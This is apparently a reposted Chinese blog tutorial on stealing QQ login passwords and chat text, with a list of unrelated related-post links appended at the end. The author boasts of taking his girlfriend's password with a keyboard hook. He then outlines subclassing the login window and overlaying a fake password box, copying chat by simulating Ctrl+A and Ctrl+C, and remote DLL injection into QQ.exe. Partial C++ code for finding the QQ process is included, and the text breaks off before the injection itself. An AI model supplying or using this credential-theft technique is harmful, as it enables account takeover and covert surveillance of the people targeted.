要截获QQ密码,大家一定想到键盘钩子,2006版以前的QQ用这种方法的确可以截获到QQ密码,我也曾经用这种方法将我女朋友的QQ密码给弄过来了,~~,但2007版以后的QQ在密码输入框里做了大量的手脚,即使用spy++也无法截取到任何消息,键盘钩子也失效了。我们总是幸运的,QQ登录窗口的消息还是可以获取到,既然钩子不能用了,那我们何不换种思维方式走走捷径呢?修改登录窗口的回调函数地址,截取其所有消息,并创建一个虚假的密码输入框来到达截取密码的目的,就好比在复写纸上写字,字迹会留下痕迹。

  腾讯为了保护聊天内容的安全性,防止QQ尾巴的干扰,对聊天的文字输入框用额外的控件做了特殊处理,同样不能截取到任何消息,也不能用WM_GETTEXT和WM_CHAR消息来取得其中的文字内容。其实这个问题好解决,只要用模拟键盘程序模拟“Ctrl+A”->“Ctrl+C”就可以得到聊天内容了。

  去QQ广告就更容易了,只要找到广告显示的子窗口,将它隐藏起来,然后在相同位置放一个自己的子窗口就可以了,如果获取到IP地址或对方的地理位置等信息也可以显示在这里。

  说到这里,还有一个非常重要的问题,那就是我们的程序必须执行在QQ空间,因为Windows系统进程是受系统保护的,每个进程有自己独立的内存空间,很多API函数只对同一个进程有效,我们必须解决这个问题。

  进入QQ进程

  要将我们自己写的代码执行在QQ进程空间中才能实现我们上面的的分析思路,我想到了两种方法:

  第一种方法还是钩子,我们的代码写到一个dll动态链接库里,然后启动系统钩子,当任何一个进程启动时,我们的dll将会被加载到该进程中,我们判断是否为QQ进程,如果不是,我们的dll就立即卸载,否则我们就顺利地进入到QQ进程空间了。这种方法有个缺点,就是任何进程启动时我们的dll都会被加载,严重影响到系统性能,我们在学习钩子的时候书本上也确实讲过,系统钩子最好少用,如果程序代码执行效率不高的情况下,将影响系统性能,再好用的软件也将变成垃圾而被用户清除出去的。

  第二种方法就是远程dll注入,即用创建远程线程的方法在QQ进程空间中注入一个我自己的线程,这种方法针对性很强,只对QQ进程进行操作,不操作其他进程,不影响系统性能,而且灵活性好,我们随时可以将线程注入,也可以随时撤销,而第一种方法是系统钩子内部控制的,我们无法干预。

  远程注入Dll

我们的程序分为两个部分,一部分是exe执行程序,可以控制Dll的注入,另一部分就是我们要注入的Dll。

  首先我们要找到系统中的QQ进程,这里要用到ToolHelp32系列函数,以下函数能枚举出系统所有的进程:

  BOOL CProcessManage::EnumSystemProcess (

      OUT CStringArray *pStrAry_ProcessName/*=NULL*/,

      OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,

      OUT CStringArray *pStrAry_ProcessPriority/*=NULL*/,

      OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,

      OUT CStringArray *pStrAry_ProcessPath/*=NULL*/

    )

  {

    HANDLE hProcess = NULL;

    PROCESSENTRY32 pe32;

    pe32.dwSize = sizeof(pe32);

    HANDLE hProcessSnap = ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );

    if ( hProcessSnap == INVALID_HANDLE_VALUE )

      return FALSE;

  

    BOOL bMore = ::Process32First(hProcessSnap,&pe32);

    while ( bMore )

{

hProcess = OpenProcess(PROCESS_ALL_Access,FALSE,pe32.th32ProcessID);

 if ( pStrAry_P

rocessName ) pStrAry_ProcessName->Add ( pe32.szExeFile );

      if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( pe32.th32ProcessID );

      if ( pUIntAry_ThreadNum ) pUIntAry_ThreadNum->Add ( pe32.cntThreads );

      if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority->Add ( GetProcessPriority(hProcess) );

      if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );

      bMore = ::Process32Next(hProcessSnap,&pe32);

    }

    ::CloseHandle(hProcessSnap);

    return TRUE;

  }

  从枚举出的所有进程中找到QQ进程,如下代码:

  //

  // 枚举出 “QQ.exe”的进程

  //

  int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/,

      CUIntArray *pUIntAry_ProcessID/*=NULL*/,

      CStringArray *pStrAry_ProcessPath/*=NULL*/ )

  {

    CStringArray StrAry_ProcessName;

    CUIntArray UIntAry_ProcessID;

    CStringArray StrAry_ProcessPath;

    if ( !CProcessManage::EnumSystemProcess (

      &StrAry_ProcessName,

      &UIntAry_ProcessID,

      NULL,

      NULL,

      &StrAry_ProcessPath

      ) )

    {

      return -1;

    }

    ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );

    ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );

    

    int nCount = 0;

    for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ )

    {

      CString csProcessName = StrAry_ProcessName.GetAt ( i );

      TRACE ( _T("%sn"), csProcessName );

      csProcessName.MakeLower ();

      if ( csProcessName == _T("qq.exe") )

      {

        nCount ++;

        if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );

        if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );

        if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );

      }

    }

    

    return nCount;

  }

  接下来我们使用函数VirtualAllocEx()/WriteProcessMemory()函数在QQ进程中申请内存空间,将我们的数据参数写入到QQ进程内存空间里,然后用CreateRemoteThread()函数在QQ进程空间中启动一个远程线程,将我们的dll执行在QQ进程空间中,如下函数既是:

  typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );

转帖一篇:截取密码(VC++)学习消息VC++的好处相关推荐

  1. Python语言入门这一篇就够了-学习笔记(十二万字)

    Python语言入门这一篇就够了-学习笔记(十二万字) 友情提示:先关注收藏,再查看,12万字保姆级 Python语言从入门到精通教程. 文章目录 Python语言入门这一篇就够了-学习笔记(十二万字 ...

  2. 渗透学习-SQL注入篇-基础知识的学习(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...

  3. [转神帖一篇][中年男子困惑]该不该让女儿玩魔兽

    [转神帖一篇][中年男子困惑]该不该让女儿玩魔兽 这帖子看得我实在是-- =========以下是转帖内容========== 该不该让女儿玩魔兽? 怎样改变目前的局面? 怎样处理好两个女人(女儿和女 ...

  4. VC学习路线书籍+视频

    本人是刚刚开始学习windows编程的,感觉看雪学院的大牛很NB.想找一些书籍来看学习学习,可是不知道看哪些书好. 驱动,对菜鸟们来说真是一个很深奥的话题,所以 ,我找来了这篇文章供大家分享,以后大家 ...

  5. homeassistant mysql_学习笔记 篇三:HomeAssistant学习笔记docker安装的ha更换数据库

    学习笔记 篇三:HomeAssistant学习笔记docker安装的ha更换数据库 2018-11-15 12:06:58 4点赞 18收藏 3评论 是返乡过年?还是就地过年?最新一届#双面过节指南# ...

  6. 我的vc学习之路——山穷水尽疑无路,柳暗花明又一村

    渐渐地,我对vc++的理解与日俱进,基本上,只要是属于vc++的东西,我觉得,不管是我曾经用过的还是没用过的,现在对于我来说都是一样,只不过用过的东西头脑里稍有些印象而已,而没用过的稍多费一些时间而已 ...

  7. java预科基础篇2021.2.3学习记录

    java预科基础篇2021.2.3学习记录 初识博客 本以为老师会讲是在微博上写博客做记录,没想到会是很多程序员专用的博客 博客为音译,正确翻译结果为网络日记,英文为bog 较为专业的程序员用博客为: ...

  8. VC学习笔记 -单选按钮控件(Ridio Button)的使用

    在VC++编程过程中,查资料是一个苦差事,案边放了一摞书左翻右翻好是烦人.一赌气就把一些常用的小技巧自己总结了一下,虽费了些功夫,但对以后编程很有好处.现拿出来与大家共享,以后积累多了,作一个CHM电 ...

  9. hive 两个没有null指定的表左关联的结果有null_《数据仓库篇》——Hive的学习笔记3...

    <数据仓库篇>--Hive的学习笔记1 讲了Hive的原理,<数据仓库篇>--Hive的学习笔记2 讲了Hive的操作,本篇将介绍Hive的优化. 本篇将Hive的优化分成三个 ...

最新文章

  1. 深度学习AI美颜系列---天天P图疯狂变脸算法
  2. C++ STL 之 map
  3. idea查看ruby代码_Ruby实现命令行中查看函数源码的方法
  4. python网络运维案例代码库_OLDboy-python第八期运维教程
  5. __attribute__ 之weak,alias属性
  6. #include 中的stat.h文件到底在哪个目录下面?
  7. php 字符串转驼峰,zhouqq - PHP 蛇形命名法(snake case)和驼峰命名法(camel case) 相互转换...
  8. 一秒钟世界上会发生多少事_一秒之中会发生什么
  9. 如何在 MacBook 上使用低电量模式和高电量模式?
  10. python 中实现enum
  11. JAVA计算机毕业设计劳务外包管理系统(附源码、数据库)
  12. 关于NC6.X企业报表取不了数的问题及其解决方法。
  13. Fatal NI connect error 12170错误解决办法
  14. ubuntu 20.04添加ubuntukylin源安装 应用的办法
  15. 什么是线程循环发包 ?
  16. Node-Red系列教程——NodeRed使用node-red-node-email组件发送QQ邮件
  17. 更改jupyter的默认打开路径失败,Exception while loading config file C:\.\.jupyter\jupyter_notebook_config.py
  18. 基于asp.net小区物业信息管理系统
  19. 如何通过sstap实现本地静态ip
  20. Java、JSP便利商店库存管理系统

热门文章

  1. RDMA技术详解(二):RDMA Send Receive操作
  2. h5压缩图片上传 php_一键压缩,图片上传大小不得超过200K?
  3. 针对不同的Cookie做页面缓存
  4. [NOI2007] 货币兑换 解题报告
  5. 洛谷P2068 统计和题解
  6. 练手WPF(三)——扫雷小游戏的简易实现(中)
  7. CList 点击表头排序 (1)SortItems函数
  8. springboot profiles
  9. hihoCoder #1182 欧拉路·三 (变形)
  10. 用AndroidSDK中的Face Detector实现人脸识别